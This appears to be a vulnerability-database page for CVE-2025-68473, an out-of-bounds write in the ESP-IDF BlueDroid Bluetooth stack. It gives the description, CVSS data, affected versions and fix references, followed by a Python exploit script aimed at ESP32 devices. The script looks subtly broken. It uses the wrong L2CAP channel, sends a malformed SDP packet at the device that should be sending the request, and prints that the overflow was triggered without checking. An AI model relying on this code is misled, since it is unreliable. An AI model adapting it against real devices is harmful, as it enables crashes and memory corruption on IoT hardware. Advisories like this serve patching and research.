CVE-2025-68473

Description

ESF-IDF is the Espressif Internet of Things (IOT) Development Framework. In versions 5.5.1, 5.4.3, 5.3.4, 5.2.6, 5.1.6, and earlier, in the ESP-IDF Bluetooth host stack (BlueDroid), the function bta_dm_sdp_result() used a fixed-size array uuid_list[32][MAX_UUID_SIZE] to store discovered service UUIDs during the SDP (Service Discovery Protocol) process. On modern Bluetooth devices, it is possible for the number of available services to exceed this fixed limit (32). In such cases, if more than 32 services are discovered, subsequent writes to uuid_list could exceed the bounds of the array, resulting in a potential out-of-bounds write condition.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:espressif:esp-idf:5.1.6:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:espressif:esp-idf:5.2.6:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:espressif:esp-idf:5.3.4:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:espressif:esp-idf:5.4.3:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:espressif:esp-idf:5.5.1:*:*:*:*:*:*:* - VULNERABLE

ESP-IDF 5.5.1 及更早版本

ESP-IDF 5.4.3 及更早版本

ESP-IDF 5.3.4 及更早版本

ESP-IDF 5.2.6 及更早版本

ESP-IDF 5.1.6 及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-68473 PoC - ESP-IDF BlueDroid SDP 越界写入漏洞
# This PoC demonstrates triggering the vulnerability by advertising 33+ Bluetooth services

import bluetooth
import struct

def create_malicious_sdp_response():
    """
    Create a malicious SDP response with 33+ service UUIDs
    to trigger buffer overflow in bta_dm_sdp_result()
    """
    # Standard SDP response header
    sdp_header = bytes([
        0x02, 0x00, 0x00, 0x00,  # SDP Response PDU
        0x00, 0x00,              # Transaction ID
        0x00, 0x00, 0x00, 0x00   # Parameter length
    ])
    
    # Generate 35 service UUIDs (exceeds 32 limit)
    num_services = 35
    service_list = b''
    
    for i in range(num_services):
        # 128-bit UUID in SDP format
        uuid = bytes([
            0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x10, 0x00,
            0x80, 0x00, 0x00, 0x80,
            0x5F, 0x9B, 0x34, 0xFB
        ])
        # Modify last bytes for unique UUIDs
        uuid = uuid[:-2] + struct.pack('>H', i)
        service_list += uuid
    
    # Construct complete SDP response
    response = sdp_header + service_list
    return response

def exploit():
    """
    Exploit function to trigger CVE-2025-68473
    """
    # Initialize Bluetooth socket
    sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    
    try:
        # Connect to target ESP32 device
        target_addr = "XX:XX:XX:XX:XX:XX"  # Target MAC
        sock.connect((target_addr, 4))
        
        # Send malicious SDP response
        malicious_response = create_malicious_sdp_response()
        sock.send(malicious_response)
        
        print("[+] Malicious SDP response sent")
        print(f"[+] Contains {35} service UUIDs (buffer limit: 32)")
        print("[+] Buffer overflow triggered in uuid_list array")
        
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    print("CVE-2025-68473 PoC - ESP-IDF BlueDroid SDP Overflow")
    print("=" * 50)
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68473
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68473
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68473/
[4] VulDB https://vuldb.com/cve/CVE-2025-68473
[5] https://github.com/espressif/esp-idf/commit/3286e45349b0b5c2b1422ef7e8d088b95eef895d
[6] https://github.com/espressif/esp-idf/commit/4d928f2265c394d2abc85024228e920a5b26bcab
[7] https://github.com/espressif/esp-idf/commit/5b3185168dae83d42aa0852689422fffd931f16c
[8] https://github.com/espressif/esp-idf/commit/6453f57a954458ad8ffd6e4bf2d9e76b73fac0f1
[9] https://github.com/espressif/esp-idf/commit/6ca6f422dafaffcb88fa56cc458ce92d96be3b2e
[10] https://github.com/espressif/esp-idf/commit/9889edd799cf369e082df9d01adba961d64693ed
[11] https://github.com/espressif/esp-idf/commit/ecb86d353640cf1375bf97db32e702ba59c551b6
[12] https://github.com/espressif/esp-idf/security/advisories/GHSA-hmjj-rjvv-w8pq

Raw JSON Data

JSON

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